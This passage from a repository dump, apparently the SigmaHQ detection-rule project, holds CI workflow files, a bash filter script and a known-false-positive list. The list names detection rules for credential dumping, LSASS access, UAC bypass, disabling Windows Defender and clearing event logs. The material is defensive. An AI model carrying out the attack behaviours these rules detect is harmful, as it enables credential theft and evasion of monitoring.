excluding known FPs\n run: |\n chmod +x .github/workflows/matchgrep.sh\n ./.github/workflows/matchgrep.sh findings.json .github/workflows/known-FPs.csv\n\n check-baseline-win11:\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v5\n - name: Download evtx-sigma-checker\n run: wget --no-verbose https://github.com/NextronSystems/evtx-baseline/releases/download/$EVTX_BASELINE_VERSION/evtx-sigma-checker\n - name: Download and extract Windows 11 baseline\n run: |\n wget --no-verbose https://github.com/NextronSystems/evtx-baseline/releases/download/$EVTX_BASELINE_VERSION/win11-client.tgz\n tar xzf win11-client.tgz\n - name: Check for Sigma matches in baseline\n run: |\n chmod +x evtx-sigma-checker\n ./evtx-sigma-checker --log-source tests/thor.yml --evtx-path Logs_Win11/ --rule-path rules/windows/ --rule-path rules-emerging-threats/ --rule-path rules-threat-hunting/ > findings.json\n - name: Show findings excluding known FPs\n run: |\n chmod +x .github/workflows/matchgrep.sh\n ./.github/workflows/matchgrep.sh findings.json .github/workflows/known-FPs.csv\n\n check-baseline-win11-2023:\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v5\n - name: Download evtx-sigma-checker\n run: wget --no-verbose https://github.com/NextronSystems/evtx-baseline/releases/download/$EVTX_BASELINE_VERSION/evtx-sigma-checker\n - name: Download and extract Windows 11 baseline\n run: |\n wget --no-verbose https://github.com/NextronSystems/evtx-baseline/releases/download/$EVTX_BASELINE_VERSION/win11-client-2023.tgz\n tar xzf win11-client-2023.tgz\n - name: Check for Sigma matches in baseline\n run: |\n chmod +x evtx-sigma-checker\n ./evtx-sigma-checker --log-source tests/thor.yml --evtx-path Logs_Win11_2023/ --rule-path rules/windows/ --rule-path rules-emerging-threats/ --rule-path rules-threat-hunting/ > findings.json\n - name: Show findings excluding known FPs\n run: |\n chmod +x .github/workflows/matchgrep.sh\n ./.github/workflows/matchgrep.sh findings.json .github/workflows/known-FPs.csv\n\n check-baseline-win2022:\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v5\n - name: Download evtx-sigma-checker\n run: wget --no-verbose https://github.com/NextronSystems/evtx-baseline/releases/download/$EVTX_BASELINE_VERSION/evtx-sigma-checker\n - name: Download and extract Windows 2022 baseline\n run: |\n wget --no-verbose https://github.com/NextronSystems/evtx-baseline/releases/download/$EVTX_BASELINE_VERSION/win2022-evtx.tgz\n tar xzf win2022-evtx.tgz\n - name: Check for Sigma matches in baseline\n run: |\n chmod +x evtx-sigma-checker\n ./evtx-sigma-checker --log-source tests/thor.yml --evtx-path win2022-evtx/ --rule-path rules/windows/ --rule-path rules-emerging-threats/ --rule-path rules-threat-hunting/ > findings.json\n - name: Show findings excluding known FPs\n run: ./.github/workflows/matchgrep.sh findings.json .github/workflows/known-FPs.csv\n\n check-baseline-win2022-domain-controller:\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v5\n - name: Download evtx-sigma-checker\n run: wget --no-verbose https://github.com/NextronSystems/evtx-baseline/releases/download/$EVTX_BASELINE_VERSION/evtx-sigma-checker\n - name: Download and extract Windows 2022 baseline\n run: |\n wget --no-verbose https://github.com/NextronSystems/evtx-baseline/releases/download/$EVTX_BASELINE_VERSION/win2022-ad.tgz\n tar xzf win2022-ad.tgz\n - name: Check for Sigma matches in baseline\n run: |\n chmod +x evtx-sigma-checker\n ./evtx-sigma-checker --log-source tests/thor.yml --evtx-path Win2022-AD/ --rule-path rules/windows/ --rule-path rules-emerging-threats/ --rule-path rules-threat-hunting/ > findings.json\n - name: Show findings excluding known FPs\n run: ./.github/workflows/matchgrep.sh findings.json .github/workflows/known-FPs.csv\n\n check-baseline-win2022-0-20348-azure:\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v5\n - name: Download evtx-sigma-checker\n run: wget --no-verbose https://github.com/NextronSystems/evtx-baseline/releases/download/$EVTX_BASELINE_VERSION/evtx-sigma-checker\n - name: Download and extract Windows 2022.0.20348 Azure baseline\n run: |\n wget --no-verbose https://github.com/NextronSystems/evtx-baseline/releases/download/$EVTX_BASELINE_VERSION/win2022-0-20348-azure.tgz\n tar xzf win2022-0-20348-azure.tgz\n - name: Check for Sigma matches in baseline\n run: |\n chmod +x evtx-sigma-checker\n ./evtx-sigma-checker --log-source tests/thor.yml --evtx-path win2022-0-20348-azure/ --rule-path rules/windows/ --rule-path rules-emerging-threats/ --rule-path rules-threat-hunting/ > findings.json\n - name: Show findings excluding known FPs\n run: |\n chmod +x .github/workflows/matchgrep.sh\n ./.github/workflows/matchgrep.sh findings.json .github/workflows/known-FPs.csv\n"
},
{
"path": ".github/workflows/greetings.yml",
"content": "name: Greet First-Time Contributors\n\non:\n pull_request:\n types:\n - opened\n issues:\n types:\n - opened\n\npermissions:\n issues: write\n pull-requests: write\n id-token: write\n contents: read\n\njobs:\n greeting:\n name: Greet First-Time Contributors\n if: github.event_name == 'issues' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name != github.repository)\n runs-on: ubuntu-latest\n\n steps:\n - uses: actions/first-interaction@v3\n with:\n issue_message: |\n Welcome :wave:\n\n It looks like this is your first issue on the Sigma rules repository!\n\n The following repository accepts issues related to `false positives` or `rule ideas`.\n\n If you're reporting an issue related to the pySigma library please consider submitting it [here](https://github.com/SigmaHQ/pySigma)\n\n Thanks for taking the time to open this issue, and welcome to the Sigma community! :smiley:\n\n\n pr_message: |\n Welcome :wave:\n \n It looks like this is your first pull request on the Sigma rules repository!\n\n Please make sure to read the [SigmaHQ conventions](https://github.com/SigmaHQ/sigma-specification/blob/main/sigmahq/) to make sure your contribution is adhering to best practices and has all the necessary elements in place for a successful approval.\n\n Thanks again, and welcome to the Sigma community! :smiley:\n"
},
{
"path": ".github/workflows/known-FPs.csv",
"content": "RuleId;RuleName;MatchString\n8e5e38e4-5350-4c0b-895a-e872ce0dd54f;Msiexec Initiated Connection;.*\nad1f4bb9-8dfb-4765-adb6-2a7cfb6c0f94;Suspicious WSMAN Provider Image Loads;.*\ndb809f10-56ce-4420-8c86-d6a7d793c79c;Raw Disk Access Using Illegitimate Tools;python-3\ndb809f10-56ce-4420-8c86-d6a7d793c79c;Raw Disk Access Using Illegitimate Tools;target\\.exe\n96f697b0-b499-4e5d-9908-a67bec11cdb6;Removal of Potential COM Hijacking Registry Keys;.*\n1277f594-a7d1-4f28-a2d3-73af5cbeab43;Windows Shell File Write to Suspicious Folder;Computer: Agamemnon\ne28a5a99-da44-436d-b7a0-2afc20a5f413;Whoami Execution;WindowsPowerShell\n8ac03a65-6c84-4116-acad-dc1558ff7a77;Sysmon Configuration Change;(sysmon-intense\\.xml|sysmonconfig-trace\\.xml)\n8ac03a65-6c84-4116-acad-dc1558ff7a77;Sysmon Configuration Change;Computer: (evtx-PC|Agamemnon)\n4358e5a5-7542-4dcb-b9f3-87667371839b;ISO or Image Mount Indicator in Recent Files;_Office_Professional_Plus_\n36480ae1-a1cb-4eaa-a0d6-29801d7e9142;Renamed Binary;WinRAR\n73bba97f-a82d-42ce-b315-9182e76c57b1;Imports Registry Key From a File;Evernote\n6741916F-B4FA-45A0-8BF8-8249C702033A;Added Rule in Windows Firewall with Advanced Security;\\\\Integration\\\\Integrator\\.exe\n00bb5bd5-1379-4fcf-a965-a5b6f7478064;Setting Change in Windows Firewall with Advanced Security;Level: 4 Task: 0\n162ab1e4-6874-4564-853c-53ec3ab8be01;TeamViewer Remote Session;TeamViewer(_Service)?\\.exe\ncdc8da7d-c303-42f8-b08c-b4ab47230263;Rundll32 Internet Connection;20\\.49\\.150\\.241\nbef0bc5a-b9ae-425d-85c6-7b2d705980c6;Python Initiated Connection;151\\.101\\.64\\.223\nbef0bc5a-b9ae-425d-85c6-7b2d705980c6;Python Initiated Connection;146\\.75\\.117\\.55\n9711de76-5d4f-4c50-a94f-21e4e8f8384d;Installation of TeamViewer Desktop;TeamViewer_Desktop\\.exe\n9494479d-d994-40bf-a8b1-eea890237021;Scheduled Task Creation From Potential Suspicious Parent Location;.*\n81325ce1-be01-4250-944f-b4789644556f;Suspicius Schtasks From Env Var Folder;TVInstallRestore\n6ea3bf32-9680-422d-9f50-e90716b12a66;UAC Bypass Via Wsreset;EventType: DeleteKey\n43f487f0-755f-4c2a-bce7-d6d2eec2fcf8;Suspicious Add Scheduled Task From User AppData Temp;TVInstallRestore\nc187c075-bb3e-4c62-b4fa-beae0ffc211f;Deteled Rule in Windows Firewall with Advanced Security;Dropbox.*\\\\netsh\\.exe\n69aeb277-f15f-4d2d-b32a-55e883609563;Disabling Windows Event Auditing;Computer: .*\nac175779-025a-4f12-98b0-acdaeb77ea85;PowerShell Script Run in AppData;\\\\Evernote-\n1f2b5353-573f-4880-8e33-7d04dcf97744;Sysmon Configuration Modification;Computer: evtx-PC\n734f8d9b-42b8-41b2-bcf5-abaf49d5a3c8;Remote PowerShell Session Host Process (WinRM);WIN-FPV0DSIC9O6\n734f8d9b-42b8-41b2-bcf5-abaf49d5a3c8;Remote PowerShell Session Host Process (WinRM);Computer: Agamemnon\na96970af-f126-420d-90e1-d37bf25e50e1;Use Short Name Path in Image;Ninite\\.exe\n349d891d-fef0-4fe4-bc53-eee623a15969;Use Short Name Path in Command Line;Ninite\\.exe\na96970af-f126-420d-90e1-d37bf25e50e1;Use Short Name Path in Image;target\\.exe\n349d891d-fef0-4fe4-bc53-eee623a15969;Use Short Name Path in Command Line;target\\.exe\na96970af-f126-420d-90e1-d37bf25e50e1;Use Short Name Path in Image;unzip\\.exe\n349d891d-fef0-4fe4-bc53-eee623a15969;Use Short Name Path in Command Line;TeamViewer_\\.exe\n7a02e22e-b885-4404-b38b-1ddc7e65258a;Suspicious Schtasks Schedule Type;TeamViewer_\\.exe\n949f1ffb-6e85-4f00-ae1e-c3c5b190d605;Explorer Process Tree Break;Computer: Agamemnon\n949f1ffb-6e85-4f00-ae1e-c3c5b190d605;Explorer Process Tree Break;Computer: WinDev2310Eval\nfdbf0b9d-0182-4c43-893b-a1eaab92d085;Newly Registered Protocol Handler;.*\n100ef69e-3327-481c-8e5c-6d80d9507556;System Eventlog Cleared;.*\n52a85084-6989-40c3-8f32-091e12e17692;Suspicious Usage of CVE_2021_34484 or CVE 2022_21919;Computer: Agamemnon\n573df571-a223-43bc-846e-3f98da481eca;Copy a File Downloaded From Internet;7z\\.exe\n37774c23-25a1-4adb-bb6d-8bb9fd59c0f8;Image Load of VSS Dll by Uncommon Executable;SetupFrontEnd\\.exe\n1a31b18a-f00c-4061-9900-f735b96c99fc;Remote Access Tool Services Have Been Installed - System;ServiceName: TeamViewer\nc8b00925-926c-47e3-beea-298fd563728e;Remote Access Tool Services Have Been Installed - Security;ServiceName: TeamViewer\nb69888d4-380c-45ce-9cf9-d9ce46e67821;Executable in ADS;msedge\\.exe \nb69888d4-380c-45ce-9cf9-d9ce46e67821;Executable in ADS;firefox\\.exe \nb69888d4-380c-45ce-9cf9-d9ce46e67821;Executable in ADS;7z\\.exe\n65236ec7-ace0-4f0c-82fd-737b04fd4dcb;EVTX Created In Uncommon Location;powershell\\.exe\n65236ec7-ace0-4f0c-82fd-737b04fd4dcb;EVTX Created In Uncommon Location;Computer: WIN-FPV0DSIC9O6.sigma.fr\na62b37e0-45d3-48d9-a517-90c1a1b0186b;Eventlog Cleared;Computer: .*\n4eec988f-7bf0-49f1-8675-1e6a510b3a2a;Potential PendingFileRenameOperations Tamper;target\\.exe\n4eec988f-7bf0-49f1-8675-1e6a510b3a2a;Potential PendingFileRenameOperations Tamper;target\\.tmp\n48bfd177-7cf2-412b-ad77-baf923489e82;Image Load of VSS Dll by Uncommon Executable;SetupFrontEnd.exe\n87911521-7098-470b-a459-9a57fc80bdfd;Sysmon Configuration Updated;.*\n0eb46774-f1ab-4a74-8238-1155855f2263;Disable Windows Defender Functionalities Via Registry Keys;.*\ne9d4ab66-a532-4ef7-a502-66a9e4a34f5d;NTLMv1 Logon Between Client and Server;.*\nccb5742c-c248-4982-8c5c-5571b9275ad3;Potential Suspicious Findstr.EXE Execution;httpd\\.exe\n9ae01559-cf7e-4f8e-8e14-4c290a1b4784;CredUI.DLL Load By Uncommon Process;Spotify\\.exe\n52182dfb-afb7-41db-b4bc-5336cb29b464;Suspicious File Download From File Sharing Websites;objects\\.githubusercontent\\.com\nce72ef99-22f1-43d4-8695-419dcb5d9330;Suspicious Windows Service Tampering;TeamViewer\ndae8171c-5ec6-4396-b210-8466585b53e9;SCM Database Privileged Operation;0x277c6\n3ce8e9a4-bc61-4c9b-8e69-d7e2492a8781;OpenSSH Server Listening On Socket;.*\nb69888d4-380c-45ce-9cf9-d9ce46e67821;Hidden Executable In NTFS Alternate Data Stream;.*\n4a1b6da0-d94f-4fc3-98fc-2d9cb9e5ee76;Potentially Suspicious AccessMask Requested From LSASS;\\\\setup\\.exe\nd99b79d2-0a6f-4f46-ad8b-260b6e17f982;Security Eventlog Cleared;Computer: WinDevEval\nb28e58e4-2a72-4fae-bdee-0fbe904db642;Windows Defender Real-time Protection Disabled;Computer: WinDev2310Eval\nef9dcfed-690c-4c5d-a9d1-482cd422225c;Browser Execution In Headless Mode;.*\n65236ec7-ace0-4f0c-82fd-737b04fd4dcb;EVTX Created In Uncommon Location;Computer: (DESKTOP-6D0DBMB|WinDev2310Eval)\nde587dce-915e-4218-aac4-835ca6af6f70;Potential Persistence Attempt Via Run Keys Using Reg.EXE;\\\\Discord\\\\\n24357373-078f-44ed-9ac4-6d334a668a11;Direct Autorun Keys Modification;Discord\\.exe\n8fbf3271-1ef6-4e94-8210-03c2317947f6;Cred Dump Tools Dropped Files;Svchost\\.exe\nc7da8edc-49ae-45a2-9e61-9fd860e4e73d;PUA - Sysinternals Tools Execution - Registry;.*\ndcff7e85-d01f-4eb5-badd-84e2e6be8294;Windows Default Domain GPO Modification via GPME;Computer: WIN-FPV0DSIC9O6.sigma.fr\n416bc4a2-7217-4519-8dc7-c3271817f1d5;Suspicious Loading of Dbgcore/Dbghelp DLLs from Uncommon Location;procexp64\\.exe\n5a6b7c8d-9e0f-1a2b-3c4d-5e6f7a8b9c0d;Cmd Launched with Hidden Start Flags to Suspicious Targets;xampp\n558eebe5-f2ba-4104-b339-36f7902bcc1a;File Creation Date Changed to Another Year;(\\\\target\\.exe|thm\\.wxl|\\\\AppData\\\\Local\\\\Temp\\\\)\n5e993621-67d4-488a-b9ae-b420d08b96cb;Service Installation in Suspicious Folder;\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\MBAMInstallerService\\.exe\n"
},
{
"path": ".github/workflows/matchgrep.sh",
"content": "#!/bin/bash\n\ninfile=$1\nfps=$2\n\nif [[ -z ${infile} || -z ${fps} ]]; then\n >&2 echo \"usage: $0 [json-file] [FPs.csv]\" \n exit 1\nfi\n\nif [[ ! -f ${infile} || ! -r ${infile} ]]; then\n >&2 echo \"${infile} is not a valid, readable file\"\n exit 2\nfi\nif [[ ! -f ${fps} || ! -r ${fps} ]]; then\n >&2 echo \"${fps} is not a valid, readable file\"\n exit 2\nfi\n\n# Exclude all rules with level \"low\"\nfindings=$(grep -v '\"RuleLevel\":\"low\"' \"${infile}\")\n\n{\n read -r # Skip CSV header\n while IFS=\\; read -r id _name fpstring; do\n findings=$(echo \"${findings}\" | grep -iEv \"\\\"RuleId\\\":\\\"${id}\\\".*${fpstring}\")\n done\n} < \"${fps}\"\n\nif [[ -z ${findings} ]]; then\n echo \"No matches found.\"\nelse\n >&2 echo \"Found matches:\"\n echo \"${findings}\"\n >&2 echo\n >&2 echo \"Match overview:\"\n echo \"${findings}\" | jq -c '. | {RuleId, RuleTitle, RuleLevel}' | sort | uniq -c | sort -nr >&2\n >&2 echo\n >&2 echo \"You either need to tune your rule(s) for false positives or add a false positive filter to .github/workflows/known-FPs.csv\"\n exit 3\nfi\n"
},
{
"path": ".github/workflows/pr-labeler.yml",
"content": "on:\n pull_request_target:\n types:\n - opened\n\nname: PR Labeler Workflow\n\njobs:\n triage:\n permissions:\n contents: read\n pull-requests: write\n runs-on: ubuntu-latest\n steps:\n - uses: actions/labeler@v6\n"
},
{
"path": ".github/workflows/ref-archiver.yml",
"content": "name: \"Reference Archiver\"\n\non:\n #push:\n # branches:\n # - \"*\"\n schedule:\n - cron: \"30 1 1,15 * *\" # At 01:30 on day-of-month 1 and 15.\n \n # Allows you to run this workflow manually from the Actions tab\n workflow_dispatch:\n\njobs:\n archive:\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v5\n with:\n submodules: true\n - name: Set up Python 3.11\n uses: actions/setup-python@v6\n with:\n python-version: 3.11\n - name: Execute Reference Archiver\n run: |\n pip install PyYAML argparse requests\n python tests/reference-archiver.py\n - name: Create Pull Request\n uses: peter-evans/create-pull-request@v5\n with:\n reviewers: nasbench, frack113, phantinuss\n delete-branch: true\n branch: 'create-pull-request/reference-archiver'\n commit-message: 'chore: archive new rule references and update cache file'\n title: 'Archive New Rule References'\n body: |\n ### Summary of the Pull Request\n\n This PR update the cache file used to save already archived references with newly archived results\n\n ### Changelog\n\n chore: archive new rule references and update cache file\n\n ### Example Log Event\n\n N/A\n\n ### Fixed Issues\n\n N/A\n\n ### SigmaHQ Rule Creation Conventions\n \n - If your PR adds new rules, please consider following and applying these [conventions](https://github.com/SigmaHQ/sigma-specification/blob/main/sigmahq/sigmahq_conventions.md)\n"
},
{
"path": ".github/workflows/regression-tests.yml",
"content": "name: Regression Tests\n\non: [push, pull_request, workflow_dispatch]\n\nenv:\n EVTX_BASELINE_VERSION: v0.8.4\n\njobs:\n true-positive-tests:\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v5\n\n - name: Set up Python\n uses: actions/setup-python@v6\n with:\n python-version: '3.11'\n\n - name: Install Python dependencies\n run: |\n python -m pip install --upgrade pip\n pip install pyyaml\n\n - name: Download evtx-sigma-checker\n run: |\n wget --no-verbose https://github.com/NextronSystems/evtx-baseline/releases/download/$EVTX_BASELINE_VERSION/evtx-sigma-checker\n chmod +x evtx-sigma-checker\n\n - name: Run regression tests\n run: |\n python tests/regression_tests_runner.py --rules-paths rules rules-emerging-threats rules-threat-hunting --evtx-checker ./evtx-sigma-checker --thor-config tests/thor.yml --ignore-validation\n"
},
{
"path": ".github/workflows/release.yml",
"content": "on:\n push:\n tags:\n - 'r*'\n\nname: Create Release\n\njobs:\n build:\n name: Create Release\n runs-on: ubuntu-latest\n steps:\n - name: Checkout code\n uses: actions/checkout@v5\n with:\n fetch-depth: 0\n - name: Generate Changelog\n run: |\n prev_tag=$(git for-each-ref --sort=creatordate --format '%(refname:lstrip=2)' refs/tags | grep ^r | tail -2 | head -1)\n curr_tag=$(git for-each-ref --sort=creatordate --format '%(refname:lstrip=2)' refs/tags | grep ^r | tail -1)\n echo \"Previous tag: ${prev_tag}\"\n echo \"Current tag: ${curr_tag}\"\n if [[ $(git log --pretty=%B ${prev_tag}..${curr_tag} | grep -E '^\\s*new: ' -c) -gt 0 ]]; then echo \"### New Rules\" > changes.txt; fi\n git log --pretty=%B ${prev_tag}..${curr_tag} | grep -E '^\\s*new: ' | sort -u | sed -e 's%^% - %' >> changes.txt\n if [[ $(git log --pretty=%B ${prev_tag}..${curr_tag} | grep -E '^\\s*update: ' -c) -gt 0 ]]; then echo \"### Updated Rules\" >> changes.txt; fi\n git log --pretty=%B ${prev_tag}..${curr_tag} | grep -E '^\\s*update: ' | sort -u | sed -e 's%^% - %' >> changes.txt\n if [[ $(git log --pretty=%B ${prev_tag}..${curr_tag} | grep -E '^\\s*remove: ' -c) -gt 0 ]]; then echo \"### Removed / Deprecated Rules\" >> changes.txt; fi\n git log --pretty=%B ${prev_tag}..${curr_tag} | grep -E '^\\s*remove: ' | sort -u | sed -e 's%^% - %' >> changes.txt\n if [[ $(git log --pretty=%B ${prev_tag}..${curr_tag} | grep -E '^\\s*fix: ' -c) -gt 0 ]]; then echo \"### Fixed Rules\" >> changes.txt; fi\n git log --pretty=%B ${prev_tag}..${curr_tag} | grep -E '^\\s*fix: ' | sort -u | sed -e 's%^% - %' >> changes.txt\n git log --pretty=%B ${prev_tag}..${curr_tag} | grep -ioP 'Merge PR #\\d+ from \\K(@\\S+)' | sort -u > authors_raw.txt\n git log --pretty=%B ${prev_tag}..${curr_tag} | grep -oP \"Co-authored-by: \\K.*(?= <)\" | sort -u | sed -e 's%^%@%' >> authors_raw.txt\n git log --pretty=%B ${prev_tag}..${curr_tag} | grep -ioP \"Thanks: \\K.*?(?=$| for)\" | sort -u >> authors_raw.txt\n LC_ALL=en_US.UTF-8 sort -u authors_raw.txt | grep -v 'dependabot\\[bot\\]' > authors.txt\n cat changes.txt >> changelog.txt\n echo \"\" >> changelog.txt\n echo \"### Acknowledgement\" >> changelog.txt\n echo \"Thanks to $(perl -pe 's%\\n%, %' authors.txt | sed 's%, $%%') for their contribution to this release\" >> changelog.txt\n echo \"\" >> changelog.txt\n echo \"\" >> changelog.txt\n echo \"### Which Sigma rule package should I use?\" >> changelog.txt\n echo \"A detailed explanation can be found in the [Releases.md](Releases.md) file. If you are new to Sigma, we recommend starting with the \\\"Core\\\" ruleset.\" >> changelog.txt\n echo \"\" >> changelog.txt\n echo \"The [latest release package on GitHub](https://docs.github.com/en/repositories/releasing-projects-on-github/linking-to-releases#linking-to-the-latest-release) can always be found [here](https://github.com/SigmaHQ/sigma/releases/latest).\" >> changelog.txt\n cat changelog.txt\n - name: Build all release packages\n run: |\n python3 tests/sigma-package-release.py --min-status test --min-level high --rule-types generic --outfile sigma_core.zip\n python3 tests/sigma-package-release.py --min-status test --min-level medium --rule-types generic --outfile sigma_core+.zip\n python3 tests/sigma-package-release.py --min-status experimental --min-level medium --rule-types generic --outfile sigma_core++.zip\n python3 tests/sigma-package-release.py --min-status experimental --min-level medium --rule-types et --outfile sigma_emerging_threats_addon.zip\n python3 tests/sigma-package-release.py --min-status experimental --min-level medium --rule-types generic et --outfile sigma_all_rules.zip\n - name: Create Release with Assets\n id: create_release\n uses: softprops/action-gh-release@v2\n with:\n tag_name: ${{ github.ref }}\n name: Release ${{ github.ref_name }}\n body_path: changelog.txt\n token: ${{ secrets.GITHUB_TOKEN }}\n draft: true\n prerelease: false\n files: |\n sigma_core.zip\n sigma_core+.zip\n sigma_core++.zip\n sigma_emerging_threats_addon.zip\n sigma_all_rules.zip\n"
},
{
"path": ".github/workflows/sigma-rule-deprecated.yml",
"content": "name: \"Create deprecated summary\"\n\non:\n #push:\n # branches:\n # - \"*\"\n schedule:\n - cron: \"0 0 1 * *\" # At 00:00 on day-of-month 1.\n\n # Allows you to run this workflow manually from the Actions tab\n workflow_dispatch:\n\njobs:\n pull-master:\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v5\n with:\n submodules: true\n - name: Set up Python 3.11\n uses: actions/setup-python@v6\n with:\n python-version: 3.11\n - name: Execute deprecated rules script\n run: |\n pip install pySigma\n python tests/deprecated_rules.py --format csv\n python tests/deprecated_rules.py --format json\n - name: Create Pull Request\n uses: peter-evans/create-pull-request@v7\n with:\n reviewers: nasbench, frack113, phantinuss\n delete-branch: true\n commit-message: 'chore: update deprecated csv'\n branch: 'create-pull-request/rule-deprecated'\n title: 'Update deprecated.csv'\n body: |\n ### Summary of the Pull Request\n\n This PR updates the deprecated summary file `deprecated.csv` and `deprecated.json`\n\n ### Changelog\n\n chore: update deprecated.csv and deprecated.json\n\n ### Example Log Event\n\n N/A\n\n ### Fixed Issues\n\n N/A\n\n ### SigmaHQ Rule Creation Conventions\n\n - If your PR adds new rules, please consider following and applying these [conventions](https://github.com/SigmaHQ/sigma-specification/tree/main/sigmahq)\n"
},
{
"path": ".github/workflows/sigma-rule-promoter.yml",
"content": "#name: \"Promote Experimental Rules To Test\"\n#\n#on:\n# #push:\n# # branches:\n# # - \"*\"\n# schedule:\n# - cron: \"0 0 1 * *\" # At 00:00 on day-of-month 1.\n# \n# # Allows you to run this workflow manually from the Actions tab\n# workflow_dispatch:\n#\n#jobs:\n# pull-master:\n# runs-on: ubuntu-latest\n# steps:\n# - uses: actions/checkout@v5\n# with:\n# submodules: true\n# - name: Set up Python 3.11\n# uses: actions/setup-python@v6\n# with:\n# python-version: 3.11\n# - name: Execute Rule Promoter Script\n# run: |\n# pip install pySigma\n# python tests/promote_rules_status.py\n# - name: Create Pull Request\n# uses: peter-evans/create-pull-request@v7\n# with:\n# reviewers: nasbench, frack113, phantinuss\n# delete-branch: true\n# commit-message: 'chore: promote older rules status from `experimental` to `test`'\n# branch: 'create-pull-request/rule-promotion'\n# title: 'Promote Older Rules From `experimental` to `test`'\n# body: |\n# ### Summary of the Pull Request\n#\n# This PR promotes and upgrade the status of rules that haven't been changed for over 300 days from `experimental` to `test`\n#\n# ### Changelog\n#\n# chore: promote older rules status from `experimental` to `test`\n#\n# ### Example Log Event\n#\n# N/A\n#\n# ### Fixed Issues\n#\n# N/A\n#\n# ### SigmaHQ Rule Creation Conventions\n# \n# - If your PR adds new rules, please consider following and applying these [conventions](https://github.com/SigmaHQ/sigma-specification/blob/main/sigmahq/sigmahq_conventions.md)\n#\n"
},
{
"path": ".github/workflows/sigma-test.yml",
"content": "# This workflow will install Python dependencies, run tests and lint with a single version of Python\n# For more information see: https://help.github.com/actions/language-and-framework-guides/using-python-with-github-actions\n\nname: Sigma Rule Tests\n\non: [push, pull_request, merge_group, workflow_dispatch]\n\njobs:\n yamllint:\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v5\n - name: yaml-lint\n uses: ibiqlik/action-yamllint@v3\n with:\n strict: true # fail on warnings as well\n\n test-sigma-logsource:\n runs-on: ubuntu-latest\n needs: yamllint\n steps:\n - uses: actions/checkout@v5\n with:\n submodules: true\n - name: Set up Python 3.11\n uses: actions/setup-python@v6\n with:\n python-version: 3.11\n - name: Test Sigma logsource\n run: |\n pip install PyYAML colorama\n python tests/test_logsource.py\n\n test-sigma-legacy:\n runs-on: ubuntu-latest\n needs: yamllint\n steps:\n - uses: actions/checkout@v5\n with:\n submodules: true\n - name: Set up Python 3.11\n uses: actions/setup-python@v6\n with:\n python-version: 3.11\n - name: Test Sigma Rules\n run: |\n pip install PyYAML colorama\n python tests/test_rules.py\n\n sigma-check:\n runs-on: ubuntu-latest\n needs: yamllint\n steps:\n - uses: actions/checkout@v5\n with:\n submodules: true\n - name: Set up Python 3.11\n uses: actions/setup-python@v6\n with:\n python-version: 3.11\n - name: Install dependencies\n run: |\n pip install pysigma\n pip install sigma-cli\n pip install pySigma-validators-sigmahq==0.20.*\n - name: Test Sigma Rule Syntax\n run: |\n sigma check --fail-on-error --fail-on-issues --validation-config tests/sigma_cli_conf.yml rules*\n\n duplicate-id-check:\n runs-on: ubuntu-latest\n needs: yamllint\n steps:\n - uses: actions/checkout@v5\n with:\n submodules: true\n - name: Check for duplicate IDs\n shell: /usr/bin/bash {0} # Use bash without -e to enable exit code manipulation\n run: |\n grep -rh \"^id: \" rules* deprecated unsupported | sort | uniq -c | grep -vE \"^\\s+1 id: \"; exit $(( $? ^ 1 ))\n"
},
{
"path": ".github/workflows/sigma-validation.yml",
"content": "name: Validate Sigma rules\n\non: [push, pull_request, merge_group, workflow_dispatch]\n\njobs:\n sigma-rules-validator:\n runs-on: ubuntu-latest\n steps:\n - name: Validate Sigma rules\n uses: SigmaHQ/sigma-rules-validator@v1\n with:\n paths: |-\n ./rules\n ./rules-compliance\n ./rules-dfir\n ./rules-emerging-threats\n ./rules-placeholder\n ./rules-threat-hunting\n schemaFile: ${{ github.workspace }}/tests/validate-sigma-schema/sigma-schema.json\n"
},
{
"path": ".github/workflows/update-heatmap.yml",
"content": "name: Generate Updated ATT&CK Heatmap\non:\n schedule:\n - cron: \"0 0 1 * *\"\n workflow_dispatch:\n\n\njobs:\n generate-heatmap:\n runs-on: ubuntu-latest\n steps:\n - name: Checkout Repository\n uses: actions/checkout@v5\n with:\n submodules: true\n\n - name: Install Sigma\n run: pipx install sigma-cli\n\n - name: Update Heatmap\n run: sigma analyze attack count --min-score 0 --max-score 20 --min-color '#66b1ffff' --max-color '#ff66f4ff' ./other/sigma_attack_nav_coverage.json rule*\n\n - name: Create Pull Request\n uses: peter-evans/create-pull-request@v7\n with:\n reviewers: nasbench, frack113, phantinuss\n delete-branch: true\n commit-message: 'chore: update ATT&CK heatmap'\n branch: 'create-pull-request/update-heatmap'\n title: 'Update ATT&CK Heatmap Coverage'\n body: |\n ### Summary of the Pull Request\n\n This PR updates sigma_attack_nav_coverage.json to reflect the current rule coverage.\n To generate a new SVG file, go to the [MITRE ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/#layerURL=https://raw.githubusercontent.com/SigmaHQ/sigma/master/other/sigma_attack_nav_coverage.json) and export a SVG via \"Layer Controls\" > \"Export\" (download icon) > \"render layer to SVG\".\n\n ### Changelog\n\n chore: update ATT&CK heatmap\n\n ### Example Log Event\n\n N/A\n\n ### Fixed Issues\n\n N/A\n\n ### SigmaHQ Rule Creation Conventions\n\n - If your PR adds new rules, please consider following and applying these [conventions](https://github.com/SigmaHQ/sigma-specification/blob/main/sigmahq/sigmahq_conventions.md)\n"
},
{
"path": ".gitignore",
